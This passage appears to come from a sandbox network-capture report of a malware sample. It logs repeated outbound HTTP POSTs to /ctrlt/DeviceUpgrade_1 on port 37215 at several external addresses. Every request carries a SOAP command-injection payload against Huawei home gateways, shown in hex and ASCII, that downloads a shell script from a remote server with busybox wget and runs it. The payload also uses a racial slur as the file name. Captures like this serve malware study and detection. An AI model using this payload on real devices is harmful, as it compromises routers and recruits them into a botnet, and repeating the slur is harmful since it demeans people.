huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	38688	156.254.104.205	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:56.782259941 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:00.935743093 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:07.078985929 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.109201908 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	42764	31.136.130.226	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.159549952 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.735594034 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:02.855573893 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:05.287094116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:09.894517899 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
